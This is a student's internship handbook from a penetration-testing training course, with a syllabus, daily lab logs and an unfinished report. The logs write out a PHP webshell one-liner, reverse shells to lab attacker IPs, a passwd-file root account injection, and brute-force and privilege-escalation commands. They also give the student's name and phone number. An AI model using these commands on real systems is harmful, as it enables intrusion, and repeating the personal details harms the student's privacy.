图形1

计算机与信息学院实习手册

**年级专业： 2020级 计算机科学与技术专业**

**学号姓名： 2020162117 钟婉莹**

**实习单位： 武汉东方瑞通信息技术有限公司**

填表前请认真阅读最后一页的填写说明。

学生实习安全承诺书

实习时间： 2023.7.3-2023.7.21

联系方式： 15717887805

实习单位： 武汉东方瑞通信息技术有限公司

实习地址： 三峡大学-东方瑞通培训基地

实习内容： 信息安全项目实践

学生在实习期间应自觉遵守国家法律、法规和社会公德，遵守所在实习单位的安全制度、操作规程、保密制度及其他各项规章制度，自觉维护学校大学生的良好形象，增强各类防范和自我保护意识，经常与学校、学院、班级保持联系。实习期间学生如违反相关法律法规或管理制度，造成人身损害、财产损失及其他相关民事责任等均由学生本人负责。

本承诺书由学生负责在签字前告知家长，经家长同意后由学生本人签字确认。

三峡大学计算机与信息学院（公章） 学生签名：



2023 年 7 月 3 日

实 习 计 划

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | | **三峡大学暑期信息安全（安全渗透）课程实训大纲** | | | | | **课题** | **内容目标** | **时间(天)** | **备注** | | Linux环境部署 | Linux环境搭建 | 2023/7/3 | 教学方式：理论+练习 | | Linux配置部署初始化 | | Linux基础命令学习 | | Linux文件与用户管理 | 用户创建、用户组 | 2023/7/4 | | 文件创建、移动、复制、查看、删除 | | 文件类型、文件权限 | | vim工具安装、使用 | | ssh服务和仓库源配置 | 中间人攻击 | 2023/7/5 | | sshd服务 | | Linux源配置 | | 防火墙 | IP table的原理、使用、配置。 | 2023/7/6 | | firewalld的原理、使用、配置。 | | 防火墙实验 | 系统安全防护实验 | 2023/7/7 | |  | |  | |  | | 时间同步服务和计划任务服务 | chrond服务概述、chrond服务配置文件、服务端、客户端配 | 2023/7/8 |  | | 计划任务服务概述、一次性计划和周期性计划 |  | | web安全靶场搭建 | windows靶场搭建 | 2023/7/10 |  | | Linux靶场搭建 |  | | web建站 | Linux系统web平台搭建 |  | | windows系统web平台搭建 |  | | web访问流程 | http协议介绍 |  | | web访问流程 |  | | web流量抓包、分析及修改重放 |  | | web信息收集 | Google Hacking，shodan，ZoomEye | 2023/7/11 |  | | 目录爆破/域名/子域名收集 |  | | 绕过CDN |  | | 命令执行漏洞 | 命令执行漏洞利用原理 |  | | linux系统命令执行漏洞利用 |  | | 文件包含漏洞 | 文件包含漏洞原理 |  | | 文件包含代码分析 |  | | 文件包含漏洞利用实战 |  | | 文件上传漏洞 | 文件上传漏洞原理 |  | | 文件上传代码分析 |  | | 文件上传漏洞利用靶场实战 |  | | 利用文件上传漏洞拿webshell |  | | sql注入原理 | sql注入原理 | 2023/7/12 |  | | sql注入分类 |  | | sql注入靶场环境搭建 |  | | mysql报错注入 | get方法报错注入 |  | | post方法报错注入 |  | | sql函数报错注入 |  | | http头注入 |  | | mysql盲注 | 布尔盲注 |  | | 时间盲注 |  | | sqlmap基础入门 | sqlmap简介 | 2023/7/13 |  | | sqlmap安装 |  | | sqlmap参数 | sqlmap获取目标 |  | | sqlmap请求参数 |  | | sqlmap制定注入位置 |  | | sqlmap性能优化 |  | | sqlmap注入参数 | sqlmap注入参数 |  | | sqlmap自定义检测参数 |  | | sqlmap检索DBMS信息 |  | | sqlmap枚举信息 |  | | sqlmap注入技术 |  | | sqlmap通用参数 | sqlmap通用参数详解 |  | | sqlmap Tamper脚本 | tamper脚本分析 |  | | XSS漏洞 | XSS漏洞分类 | 2023/7/14 |  | | XSS漏洞利用靶场实战 |  | | BEEF |  | | XSS漏洞防御策略 |  | | CSRF漏洞 | CSRF漏洞原理 |  | | CSRF漏洞利用靶场实战 |  | | CSRF防御与绕过 |  | | SSRF漏洞 | SSRF漏洞原理 |  | | SSRF漏洞利用靶场实战 |  | | SSRF漏洞漏洞防御 |  | | 反序列化漏洞 | 序列化与反序列化原理及作用 |  | | 反序列化代码分析 |  | | 反序列化漏洞利用 |  | | 暴力破解 | 账号爆破 | 2023/7/15 |  | | 登陆页面破解思路 |  | | web登录在线暴力破解 |  | | 中间件漏洞 | IIS |  | | Apache |  | | Nginx |  | | Weblogic/Jboss/Tomcat |  | | webshell | getshell方法介绍 |  | | webshell代码分析与实战 |  | | webshell工具介绍（菜刀，蚁剑） |  | | 复习漏洞类型、信息打点 | 漏洞类型 | 2023/7/17 |  | | 信息打点、cdn绕过 |  | | pikachu数字型注入(post)、字符型注入(get)、搜索型注入、XX型注入的四个实验 |  | | 靶场渗透实验（xss） | Catfishcms\_v4.6.0部署、渗透测试、编写报告 | 2023/7/18 |  | | dc-1部署、渗透测试、编写报告 |  | | 靶场渗透实验（暴力破解） | dc-2部署、渗透测试、编写报告 | 2023/7/19 |  | | dc-4部署、渗透测试、编写报告 |  | | 靶场渗透实验（暴力破解） | dc-4部署、渗透测试、编写报告 | 2023/7/20 |  | | EmpireBreakout部署、渗透测试、编写报告 |  | | 考前复习和考试 | 复习文件包含、命令执行、日志分析 | 2023/7/21 |  | | 结课考试 |  | |  | |  | |

实 习 日 志

|  |  |  |  |
| --- | --- | --- | --- |
| 日 期 | 2023年7月3日 | 星 期 | 星期一 |
| 实 习    内 容 | Linux命令:切换目录,查看目录,创建目录,修改目录,拷贝目录,新增文件等命令,以及linux语法格式 | | |
| 收 获  或  心 得 体 会 | 具体学习了cd,ls,mkdir,mv,cp,touch等具体命令的用法以及linux语法格式:命令+选项+参数的形式 | | |
| 日 期 | 2023年7月4日 | 星 期 | 星期二 |
| 实 习    内 容 | Linux一切皆文件,文件类型,查看文件的相关命令和vi编辑器的用法,系统用法与组管理以及对于用户的相关操作命令 | | |
| 收 获  或  心 得 体 会 | 学习了具体如文件类型分为普通文件,目录文件,磁盘文件,以及如useradd,id,passwd,userdel,ls,rm,groupadd,groupdel.gpasswd等相关命令 | | |

|  |  |  |  |
| --- | --- | --- | --- |
| 日 期 | 2023年7月5日 | 星 期 | 星期三 |
| 实 习    内 容 | UGO权限以及改变小组成员,其他人,所有者权限的相关操作命令,777数字表示法,ACL权限,ssh端口号相关,OSI7层模型,sshd服务,httpd服务 | | |
| 收 获  或  心 得 体 会 | UGO权限为所有者,小组成员,其他人的权限不同,r表示读取,w表示写入,x表示执行,-表示无权限,chown为修改所有者,chmod为修改权限,777数字表示法:r:4,w:2,x:1,改变ACL权限命令为setfacl命令,以及如何测试ssh远程登录和改变ssh配置文件设置;本地仓库部署httpd服务的具体流程以及具体搭建了一个小说网站(file://使用的是本地仓库) | | |
| 日 期 | 2023年7月6日 | 星 期 | 星期四 |
| 实 习    内 容 | 防火墙iptables相关的知识如四表五链,操作命令等  防火墙firewall相关知识以及相关操作命令如重启重载等  Iptables防火墙和firewall防火墙的区别 | | |
| 收 获  或  心 得 体 会 | Iptables属于centos6版本的防火墙,相比较firewall来说不好学内容太多,选项命令行长,四表五链中主要用的是input链;而firewall防火墙为centos7的版本,本质与iptabes一样，真正的防火墙在内核kernel,由于firewall相关参数选项都在服务配置文件中,操作命令较短,而每次更新防火墙相关设置后记得重载防火墙,这里也需要注意重载和重启的区别: 重载过程中原本链接不会断开;重启：先关闭再启动（之前连接的服务会断开）,设置并添加了httpd服务,移除了ssh服务 | | |

|  |  |  |  |
| --- | --- | --- | --- |
| 日 期 | 2023年7月7日 | 星 期 | 星期五 |
| 实 习    内 容 | 要求使用所学知识写一个小项目, 要求如下: 新建2~3台虚拟机，其中一台作为服务端（httpd），另外1台或两台作为客户端（Client），在服务端搭建httpd服务，在客户端对服务端进行访问测试，同时要求针对httpd服务节点，进行安全防护配置，要求客户端能够访问服务端页面，但尽量不要被攻击。 | | |
| 收 获  或  心 得 体 会 | 创建两台虚拟机(克隆),一台作为客户端，一台作为服务端  思路:哪些地方可能被“攻击”  1.用户管理：用户越多越难管理，因此给予root的权力最大，但同时也限制ssh的root远程登陆，密码不能为空，输入密码次数等等  2.权限管理：组内用户给予rw-的权利，root有rwx的权利，其他人r--（通过浏览器浏览http的时候也在看）  若有特殊需要增加权限的用户使用ACL原则添加特殊权限如rw-  3.服务：sshd服务：可以修改登录的默认端口号，以免被人识破 httpd服务：默认资源存放点需要再建以免被人盗取资源  4.防火墙：iptables和firewalld  iptables在写命令时需要精准到协议类型，表的类型，链的类型，具体ip地址（鉴于其他人太多，因此可以适当放宽标准，如写入内网地址等等）  firewalld的话，在服务文件里面要尽可能写的详细，如协议类型，端口，既然是为防止被攻击，那么除了curl的指令能够访问成功，其他诸如ping和ssh服务都需要被禁止  （http默认端口：80）  具体的项目实施在报告中 | | |
| 日 期 | 2023年7月8日 | 星 期 | 星期六 |
| 实 习    内 容 | 细节补充：之前快速讲解，很多地方不完整:如IP地址忽然没了,ssh无法连接,服务关闭启动不知道什么状态,httpd修改目录后,资源访问不到,命令行补全,DHCP IP分配,时间同步服务和计划任务 | | |
| 收 获  或  心 得 体 会 | DHCP服务：为目标自动分配IP地址  前提是要有一个IP资源池 192.168.31.128 ~192.168.31.254  动态分配：只有资源池里有资源，就会给你一个，不在乎你是谁，也不在乎哪一个资源是给你的  静态分配：none，自己手动指定IP地址  IP：是网络中，关于设备的逻辑地址  分配IP地址，两种方式：  1.手动 IP 192.168.31.134/24(设备少)  2.自动 由DHCP服务帮助我们自动分配IP地址  有关ssh服务连接:  ss -tunlp|grep ssh //查看ssh服务  systemctl restart sshd //若报错查看提示命令，执行后优先看红色部分  vi /etc/ssh/sshd\_config //查看权限是否太严格或者文件写错了  sentenforce=0 //临时关闭selinux服务  vi /etc/sysconfig/selinux //想要永久关闭，将enforcing改为disabled  修改网卡设置,修改虚拟网络适配器的NAT设置和DHCP设置  计划任务分为一次性计划任务和周期性计划任务 | | |

|  |  |  |  |
| --- | --- | --- | --- |
| 日 期 | 2023年7月10日 | 星 期 | 星期一 |
| 实 习    内 容 | 手动配置号靶场环境如:win2008,kali以及攻击机:AttackMachine的环境,安装火狐浏览器,代理扩展,burpsuite,VmwareTools等等一系列工具,学会使用burpsuite抓包分析发送等等操作 | | |
| 收 获  或  心 得 体 会 | 具体配置了4个虚拟机靶场环境,并做了相关的网络设置:NAT模式,dhcp分配IP地址且都需要在一个网段能相互ping通,期间设置了phpstudy,foxproxy,burpsuite等一众工具并了解了Web安全,Linux安全,Windows安全,IIS安全,DB安全以及网络安全相关知识,使用小p搭建了靶场练习网站如DVWA和pikachu等 | | |
| 日 期 | 2023年7月11日 | 星 期 | 星期二 |
| 实 习    内 容 | 信息收集,被动信息收集和主动信息收集  被动信息收集: 收集服务器号，端口号，无意中发现目标的信息  主动信息收集:扫描  了解了子域和父域的区别  了解了信息收集工具:FQFA,zoomEy,shodan,googlehack  暴破工具:子域名挖掘机,FuzzDomain,御剑,Wydommain,Layer,msscan,nmap | | |
| 收 获  或  心 得 体 会 | v.qq.com(qq.com是父域)  域名和实际站点不一样很正常  如web站点可使用abc.com的  可能通过子域漏洞进入父域站点，主域可能没漏洞  FQFA可通过域名查询对应ip地址并访问，搜索子域名  zoomEy在网上做资产收集：包括网路设备，服务器资源  shodan资料收集，很厉害，搜到服务器，定位到精准位置（某个建筑物），能从公司登陆网页进入的手机号码都能看到,nmap是最强扫描端口工具,可在kali里面扫描,使用信息收集工具收集端口号,目录名,系统版本,最后根据相关信息进行暴破和穷举: hydra, medussa | | |

|  |  |  |  |
| --- | --- | --- | --- |
| 日 期 | 2023年7月12日 | 星 期 | 星期三 |
| 实 习    内 容 | 搭建Ubuntu靶场DVWA和pikachu,进行靶场用户名密码的暴破穷举以及RCE漏洞练习,在蚁剑中进行操作后抓包练习 | | |
| 收 获  或  心 得 体 会 | 搭建网站时要放在phpstudy的WWW目录下,然后记得更改数据库配置文件中的密码  使用的命令  ip138.com  8.8.8.8|uname -a  nc -lvvp 8000  phpinfo(); //;很重要  system("ls");  file\_put\_contents('shell.php','<?php @eval($\_POST[pass]);?>');  system("ls"); | | |
| 日 期 | 2023年7月13日 | 星 期 | 星期四 |
| 实 习    内 容 | 主要进行了图片马实验: 存在文件包含不一定存在文件包含的漏洞  不允许上传php文件时：  使用图片马上传  将图片马ctrl +f assert  伪协议:其他人使用目录过滤的时候即可使用伪协议绕过它  文件上传  文件上传靶场关卡过了17关 | | |
| 收 获  或  心 得 体 会 | 在些图片马的过程中用到的命令(Windos系统和Linux系统不同):  su root  cd /var/www/html/06  ls  cd vul/rce  rm -rf shell.jpg  rm -rf shell.php  system("ls");  最后用到了蚁剑  文件上传的靶场关卡有:前端页面过滤,后端过滤,防御模式扩大,switch判断文件类型,白名单,00截断,大小写过滤,双写等 | | |

|  |  |  |  |
| --- | --- | --- | --- |
| 日 期 | 2023年7月14日 | 星 期 | 星期五 |
| 实 习    内 容 | SQLinject注入  长时间在web安全漏洞排名前三  sqli-labs靶场的下载安装和搭建  手工注入,联合查询,主查询和子查询,靶场过到了Less-11 | | |
| 收 获  或  心 得 体 会 | 注意注入分为一阶注入和二阶注入,基于注入点位置可分为3种注入方法,Mysql的注入函数有5个  联合查询：输入不是数据库列数的会报错，可用来判断列数  下载自动化注入工具python 3.7  用sqlmap自动化工具查询五句话  有回显：  ​ 联合查询  ​ 报错注入  无回显：  ​ 布尔盲注  ​ 时间盲注  Post型注入: 构造语句在表单里面, 前闭合后注释中间构造 | | |
| 日 期 | 2023年7月15日 | 星 期 | 星期六 |
| 实 习    内 容 | 自习的一天,主要回顾了前五天所学习的内容以及实验,巩固并加深了所学安全知识,同时通过和老师的谈话了解了一些东西 | | |
| 收 获  或  心 得 体 会 | 这几天学习内容包括靶场搭建,信息收集,穷举与暴破,扫描,文件包含,文件上传,SQL注入等  同时通过谈话了解到关于深入网络安全的学习还需要考PTE证书等情况以及PTE考试题型证书等 | | |

|  |  |  |  |
| --- | --- | --- | --- |
| 日 期 | 2023年7月17日 | 星 期 | 星期一 |
| 实 习    内 容 | 按照攻击对象,攻击方法的漏洞分类,OWASP Top 10,信息收集,nmap测试靶机, 收集TTL值, Pikachu下的sql注入语句练习,:字符型注入,数字型注入,搜索型注入,xx型注入,burpsuite的使用 | | |
| 收 获  或  心 得 体 会 | 攻击对象:windows：345窗口的开启  网络设备：WIFI  交换机：ssh端口的开放  Web：许多漏洞发生在这  邮件：SMTP,POP3都是，同网段Ip地址  在kali上使用nmap测试靶机:  su - root  ip a  netdiscover -r 192.168.17.0/24  nmap -sS -v 192.168.17.141  nmap -sS -v 192.168.17.141 -O  使用云悉收集TTL值,Wappalyzer扩展收集相关信息  Pikachu下的sql注入语句练习:  查询库名,表名,列名,数据库版本, Order by查询几列,MD5转码  实现sql注入具体步骤为:   1. 查询用户名并抓包查看传参文件查看闭合规则 2. or和and语句:判断是否有注入点 3. Order by查询几列 4. UNion联合语句:测试回显位置 5. 查看数据库版本 6. 查看数据库名称 7. 获取数据库表信息获取 8. 数据库表列字段信息 9. 获取数据信息 | | |
| 日 期 | 2023年7月18日 | 星 期 | 星期二 |
| 实 习    内 容 | XSS注入并且做相关实验后完成报告的书写,选择上传图像作为注入点,并抓包,使用alert函数: "="alert(1)"=a"1.jpg作为弹窗函数,查看页面源码判断是否注入成功  安装CMS测试工具并寻找隐藏文件flag1和flag2  下载安装dc系列,Catfish安装  打开dc-1,找到隐藏的5个flag文件并写入作业 | | |
| 收 获  或  心 得 体 会 | CMS测试工具使用命令:  netdiscover -r 192.168.17.0/24  nmap -sV -p- 192.168.17.141 -O  nmap -sV -p- 192.168.17.141 -v  Rhosts设置靶机目标ip  输入whoami,pwd  Catfish中步骤为:  第一步:Catfish安装  第二步:输入管理员密码,邮箱,数据库密码  第三步:火狐浏览器进入前台注册用户登录普通用户后选择编辑图像上传图片  第四步:IE浏览器进入后台登录管理员  第五步:保存头像时抓包  第六步:将包发送到reapter后进行注入点的修改  第七步:修改为: "="alert(1)"=a"1.jpg  第八步:alert函数工作成功没有出现弹窗ctrl+u进入源代码查看,发现源代码中出现alert函数表示XXS注入成功  dc-1中步骤为:  获取到CMS使用的是Drupal（java开发框架）  使用msf（msfconsole ）工具尝试通过Drupal的漏洞getshell  命令：search drupal #查找drupal相关的模块  cat /var/www/sites/default/settings.php  成功获取到flag2和数据库的账号密码，根据flag2的提示我们需要继续提权（root）来访问敏感数据，也可以进行暴力破解  进入数据库查看  这里先使用python修改一下交互的方式，看着更舒服一点（python -c 'import pty;pty.spawn("/bin/bash")'）  命令为: mysql -udbuser -pR0ck3t #登录数据库  show databases; #数据库结束语带分号;  use drupaldb;  show tables;  desc users; #查看users表的字段  select name,pass from users; #查询users表中的name,pass这两个字段  执行：  scripts/password-hash.sh 666666  password: 666666 hash: $S$DVij9pvxENxl/jqEI6/djAN6zvbsQtWC.0ZlAiUoHiX4RaBpEAjp  update user set pass='$S$DSCenLaT8cgSrhfPkfup20zIQfQ/3q340rmu6VHHgXJOj8pv8gPa' where uid = 1;  提取成功之后去root家目录找一下敏感文件，在root的家目录找到一个名为thefinalflag.txt的文件，打开发现获取到了flag5  提取到flag5 | | |

|  |  |  |  |
| --- | --- | --- | --- |
| 日 期 | 2023年7月19日 | 星 期 | 星期三 |
| 实 习    内 容 | 下载安装了DC系列的dc-2和dc-4,分别找到了对应的flag隐藏文件,并完成了作业的书写 | | |
| 收 获  或  心 得 体 会 | Dc-2攻破步骤:  1.netdiscover扫描同网段IP地址  2. Nmap扫描开放端口号:80,7744  3. 修改hosts文件  4. 识别CMS,破解用户名密码  5. 用cewl工具暴力破解,也可使用wpscan --url http://dc-2 --enumerate u命令扫描  6. wpscan --url http://dc-2/ -U dc\_2\_zhanghu.txt -P dc\_2.txt # 指定字典暴力破解密现在需要查询后台的登录地址  使用dirb（kali自带工具，基于字典的web目录扫描工具，可以查找现有和隐藏的Web对象）  扫描http://dc-2/码  dirb http://dc-2/ /usr/share/wordlists/dirb/big.txt  7. 扫描结果中第一个url地址:http://dc-2/wp-admin/是登陆的地址  进入登录网站  8. 我们首先是要获取一个webshell或者getshell，从后台管理页面并没有发现继续的办法，结合flag2又想到了前面扫到的那个ssh服务，这个ssh服务端口号为7744（shell原端口号为22）  我们尝试用破解出来的后台密码连接ssh，最终只有tom可以登录  ssh jerry@192.168.2.13 -p 7744   1. 显示Permission denied-许可被拒绝，猜测应该是相关的配置文件对该账号进行了ssh连接的限制，一般是针对root用户的   ssh jerry@192.168.2.13 -p 7744  显示Permission denied-许可被拒绝，猜测应该是相关的配置文件对该账号进行了ssh连接的限制，一般是针对root用户的  ssh tom@192.168.2.13 -p 7744 登陆成功   1. 通过实验我们发现可使用echo命令查看可用的命令有哪些,而当我们使用cat,vim,find等命令时会提示我们-rbash:command not found 2. BASH\_CMDS[a]=/bin/bash // 切换shell   a  /bin/bash // 添加$PATH，cat和su都在/bin下，sudo在/usr/bin下  export PATH=PATH:/sbin:/bin   1. 进行（su）切换用户提权 成功使用之前的得到的 jerry 用户的账号密码成功 su - 切换到jerry用户，并且发现可以 jerry 用户可以正常使用之前受限制的命令，并且成功从 jerry 的家目录下获取到 flag4 2. 在flag4中的最后一句提示里包含了一个git关机键字 3. 使用git提权,原理是git存在缓冲区溢出漏洞，在使用sudo git -p help时，不需要输入 root密码即可以root权限执行这条命令。 4. sudo -l # -l 列出目前用户可执行与无法执行的指令。   sudo git -p help  dc-4:  1.登录账户密码抓包,  2. nc -e /bin/sh 192.168.108.129 6868  3. python -c 'import pty;pty.spawn("/bin/bash")'  4.用九头蛇暴力破解jim的用户密码  hydra -l jim -P old\_password.bak ssh://dc-4 -v -f -e nr -t 64 //改为64线程更快  5. 远程登录jim切换jim账户  ssh jim@192.168.214 -p 22  6. 进入邮件目录: cd /var/spool/mail/  sudo -l //查看可以使用的命令  sudo teehee –help  echo "guagua::0:0:::/bin/bash" | sudo teehee -a /etc/passwd | | |
| 日 期 | 2023年7月20日 | 星 期 | 星期四 |
| 实 习    内 容 | 攻破了帝国Breakout,找到其隐藏文件flag并书写作业,  复习回顾整体知识. | | |
| 收 获  或  心 得 体 会 | Breakout步骤: 用虚拟机打开后发现已给出靶机IP地址:192.168.2.15  攻击机IP地址是:192.168.2.11  直接用nmap搜索开放端口  此处注意靶机开通了msb服务,后续可通过此进行渗透  使用Brainfuck to Text解密Ook码  10000端口和20000端口为两个不同的登录页面,10000登录Web,20000登录用户  由于靶机开通smb服务,我们通过渗透获取登陆用户名和密码  我们可以收集有关靶机smb的信息  使用命令enum4linux可以收集大量的信息(穷举大法)  enum4linux 192.168.2.15  接下来准备提权  查看tar权限发现tar是可以运在/var/backups下发现了old-passwd密码本,可使用tar打包然后读取文件内容行的  //使用tar打包然后读取文件内容  ./tar -cvf pass.tar /var/backups/.old\_pass.bak //这里打包的时候一定要使用./tar，不然会提示没权限，因为没有加./代表的是你用的系统安装的tar不是这个目录下的tar  tar -xvf pass.tar  反弹一个shell,kali做端口监听:  bash -i >/dev/tcp/192.168.2.11/9999 0>&1  在/root目录下找到第二个flag | | |

|  |  |  |  |
| --- | --- | --- | --- |
| 日 期 | 2023年7月21日 | 星 期 | 星期五 |
| 实 习    内 容 | 上午进行了考前复习,主要复习了SQL注入,文件上传,文件包含,日志分析,命令执行等主要模块的知识复习工作,下午进行了结课考试 | | |
| 收 获  或  心 得 体 会 | 在复习的过程中发现自己对于SQL注入的部分知识点还不太熟悉,如闭合规则,注入点的寻找,对于此处加强了复习力度,同时对于图片马的制作和伪协议等老师讲过的内容也进行了更深层次的复习和回顾,这样做有助于提高我的专业水平。也让我在下午考试的过程中更加全面地展示了我所学到的关于安全渗透的知识. | | |

实 习 报 告

|  |
| --- |
| **（根据下面规定的内容进行撰写）**   1. **实习项目的背景意义（标题四号、宋体）**    1. 项目的背景   信息安全是一门高级学科，意味着入行之前，你最好有一定的技术基础。这并不是必须的，但这是很普遍、合理的条件。信息安全行业的从业人员主要来自这 3 个领域：  1.系统管理  2.网络通信行业  3.编程开发  上面列出的 3 点，只是转行从事信息安全行业的最大的几个输出行业领域，并不是最佳。最佳选择，第一是，开发；其次，系统管理；接着是网络通信。  而对于大学生来说,如果自身专业并不是与信息安全强相关的专业,那么信息安全相关的实习就是我们未来从事信息安全就业的一颗问路石。  在开发领域，掌握编程技术是非常重要的。信息安全领域需要专业的开发人员来设计和实施安全措施，识别和修复漏洞，以及开发安全软件和工具。熟悉各种编程语言如C、C++、Java、Python等，能够编写安全代码和进行安全审计是必备的技能。  对于系统管理领域的从业人员来说，他们负责维护和管理网络和系统的安全性。他们需要了解操作系统、网络配置和安全策略，能够监测和应对安全威胁，并进行漏洞扫描和修复。此外，熟悉防火墙、入侵检测系统和安全日志分析等工具也是必备的技能。  在网络通信行业，了解网络协议和通信技术是非常重要的。网络通信行业的从业人员需要掌握网络架构和拓扑，了解网络设备的配置和管理，能够识别和应对网络攻击和安全威胁。此外，熟悉虚拟专用网络（VPN）、防火墙和加密技术等也是必备的技能。  综上所述，无论是从事开发、系统管理还是网络通信，都需要有一定的技术基础和专业知识。不同的领域有不同的侧重点，但都需要持续学习和不断提升自己的技能，以适应快速变化的信息安全领域。  而作为一个大学生,参加信息安全的实习就是一个很好的机会,信息安全实习提供了一个学生将课堂知识应用于实际工作环境的机会。通过实习，我们可以学习并掌握信息安全领域的实际技能和工作方法;我们可以了解信息安全行业的工作内容、专业要求和就业趋势，为未来的职业规划提供参考;还可以提升我们的实践能力和问题解决能力。在实习过程中，我们可能会面临各种实际情况和挑战，需要灵活运用所学知识解决问题，提升自己的技术水平和工作能力。  通过参加信息安全实习，我们可以积累实际工作经验，提升自己在该领域的认可度。这对于未来找工作或继续深造都具有积极的影响。  我们还将接触到各种网络安全威胁和攻击手段，学会如何保护自己和他人的信息安全，提高网络安全意识。   * 1. 项目对社会的影响   信息安全的实施对社会和公众有着重要的正面影响，包括个人隐私保护、经济发展、公共安全、数据完整性和可靠性、个人权益保护以及公众意识提升。这些正面影响有助于构建一个安全、可信赖的数字化社会。  信息安全的实施对社会和公众产生的正面影响有以下几点：  **个人隐私保护**：信息安全的实施可以保护个人的隐私和个人敏感信息不被泄露、滥用或盗用。这有助于维护个人的权益和尊严，增强公众对数字化社会的信任。  **经济发展：**信息安全的实施对于经济发展至关重要。保护企业的商业机密、知识产权和客户数据可以促进创新、提高竞争力，吸引投资和促进经济增长。  **公共安全：**信息安全的实施可以保护关键基础设施、公共机构和政府部门的安全。这有助于防止网络攻击、网络犯罪和恶意行为，维护社会的稳定和公共安全。  **数据完整性和可靠性：**信息安全的实施可以确保数据的完整性和可靠性。这意味着数据不会被篡改、损坏或丢失，保证了数据的准确性和可信度，为决策和业务运营提供可靠的依据。  **个人权益保护：**信息安全的实施可以保护公众的个人权益。例如，网络诈骗、网络欺诈和网络暴力等问题可以通过信息安全措施得到遏制，保护公众免受不法分子的侵害。  **公众意识提升：**信息安全的实施可以提升公众对网络安全的意识和素养。通过宣传教育和培训，公众可以学习如何保护自己的信息安全，提高网络安全意识和防范能力。  信息安全的实施对社会和公众产生的负面影响可能包括以下几点：  **隐私泄露：**如果信息安全措施不到位，个人敏感信息可能会被盗取或泄露，导致个人隐私暴露。这可能会导致身份盗窃、财务损失以及个人声誉受损等问题。  **数据破坏或篡改：**信息安全漏洞可能导致数据被恶意篡改、破坏或者被加密勒索。这可能会对企业、政府和个人的正常运作产生严重影响，甚至导致经济损失。  **网络犯罪活动：**信息安全薄弱的环境可能成为网络犯罪分子的温床，他们可能利用这些漏洞进行网络攻击、网络诈骗、网络钓鱼等违法活动。这对社会秩序和公共安全造成威胁。  **经济损失：**信息安全漏洞可能导致企业或个人的财务损失。例如，电子支付系统被黑客攻击，导致资金被盗窃；商业机密被窃取，导致企业竞争力下降等。  **社会不信任：**信息安全问题的频繁发生可能导致社会对于数字化、网络化的不信任感增加。这可能会阻碍信息技术的发展和应用，影响社会的数字化进程。  为了减少这些负面影响，社会需要加强信息安全意识、加强相关法律法规的制定和执行，以及加强技术和管理措施的完善，确保信息安全的实施能够最大程度地保护个人和社会的利益。   1. **项目中的职业道德**   信息安全工程师的责任包括以下几个方面：  1. 系统安全设计与实施：信息安全工程师负责设计和实施安全控制措施，确保系统和网络的安全性。他们需要评估系统的安全需求，设计安全架构和策略，并实施相应的安全措施，如访问控制、身份认证、加密等，以保护系统免受恶意攻击和未经授权的访问。  2. 漏洞评估与风险管理：信息安全工程师负责进行系统和应用程序的漏洞评估，识别潜在的安全风险，并提出相应的修复和改进建议。他们需要密切关注最新的安全威胁和漏洞，及时采取措施防范和应对可能的攻击。  3. 安全事件响应与恢复：信息安全工程师负责监控和检测系统的安全事件，并进行及时响应和恢复工作。他们需要建立安全事件响应流程，及时调查和应对安全事件，以减少损失并恢复正常的系统运行。  4. 安全意识培训与教育：信息安全工程师负责提高组织内员工的安全意识和素养，开展安全培训和教育活动。他们需要向员工传授安全最佳实践、防范措施和行为准则，帮助员工识别和应对潜在的安全风险。  5. 法规合规与审计：信息安全工程师负责确保组织的信息系统和操作符合相关法规和合规要求。他们需要进行安全审计和合规评估，确保组织在法律和行业规定的范围内保护用户数据和敏感信息的安全。  总的来说，信息安全工程师的责任是保护信息系统和网络的安全，预防和应对安全威胁，提高安全意识和培训，确保组织的合规性，并及时响应和恢复安全事件。他们在保护组织和用户的信息安全方面扮演着重要的角色。  信息安全工程师应该秉持职业道德和规范，保护用户隐私和数据安全，不断提升自己的专业能力，诚实守信，保护商业机密，尊重他人权益，合规操作，并具备敬业精神和责任心。这样才能为信息安全事业做出积极的贡献。所以为遵守职业道德和规范,信息安全工程师应该注意以下几点:  1. 保护用户隐私和数据安全：信息安全工程师应该始终将用户隐私和数据安全放在首位，遵守相关法律法规，保护用户的个人信息和敏感数据不被泄露、滥用或盗用。  2. 